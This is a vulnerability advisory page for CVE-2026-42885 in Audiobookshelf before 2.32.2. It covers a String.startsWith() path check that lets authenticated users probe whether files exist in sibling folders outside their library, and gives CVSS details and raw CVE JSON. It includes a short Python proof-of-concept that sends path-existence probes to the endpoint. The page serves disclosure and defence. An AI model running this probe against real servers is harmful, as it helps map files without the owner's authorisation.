Security Vulnerability Report
中文
CVE-2026-42885 CVSS 4.3 MEDIUM

CVE-2026-42885

Published: 2026-05-11 20:25:45
Last Modified: 2026-05-11 21:19:01

Description

Audiobookshelf is a self-hosted audiobook and podcast server. Prior to 2.32.2, the POST /api/filesystem/pathexists endpoint uses String.startsWith() to validate that a resolved file path is within a library folder. This check fails for sibling directories whose names share a common prefix (e.g., /audiobooks vs /audiobooks-private), allowing authenticated users with upload permission to probe file existence outside their authorized library folder boundaries. This vulnerability is fixed in 2.32.2.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Audiobookshelf < 2.32.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (replace with actual instance) target_url = "http://localhost:13378/api/filesystem/pathexists" # Authentication token is required as per PR:L # An attacker would need a valid session or API token from a user with upload permissions headers = { "Authorization": "Bearer <VALID_TOKEN>", "Content-Type": "application/json" } # Exploit scenario: Checking a sibling directory with a common prefix # If the library is configured for '/audiobooks', checking '/audiobooks-private' # might bypass the String.startsWith() validation check. payload = { "path": "/audiobooks-private/sensitive_config.json" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # If the server returns that the file exists, the path validation was bypassed if data.get("exists"): print("[+] Vulnerability Confirmed: File exists outside library boundary.") else: print("[-] File does not exist or path blocked.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42885", "sourceIdentifier": "[email protected]", "published": "2026-05-11T20:25:44.877", "lastModified": "2026-05-11T21:19:00.733", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Audiobookshelf is a self-hosted audiobook and podcast server. Prior to 2.32.2, the POST /api/filesystem/pathexists endpoint uses String.startsWith() to validate that a resolved file path is within a library folder. This check fails for sibling directories whose names share a common prefix (e.g., /audiobooks vs /audiobooks-private), allowing authenticated users with upload permission to probe file existence outside their authorized library folder boundaries. This vulnerability is fixed in 2.32.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-rhjg-p6cm-38w2", "source": "[email protected]"}, {"url": "https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-rhjg-p6cm-38w2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}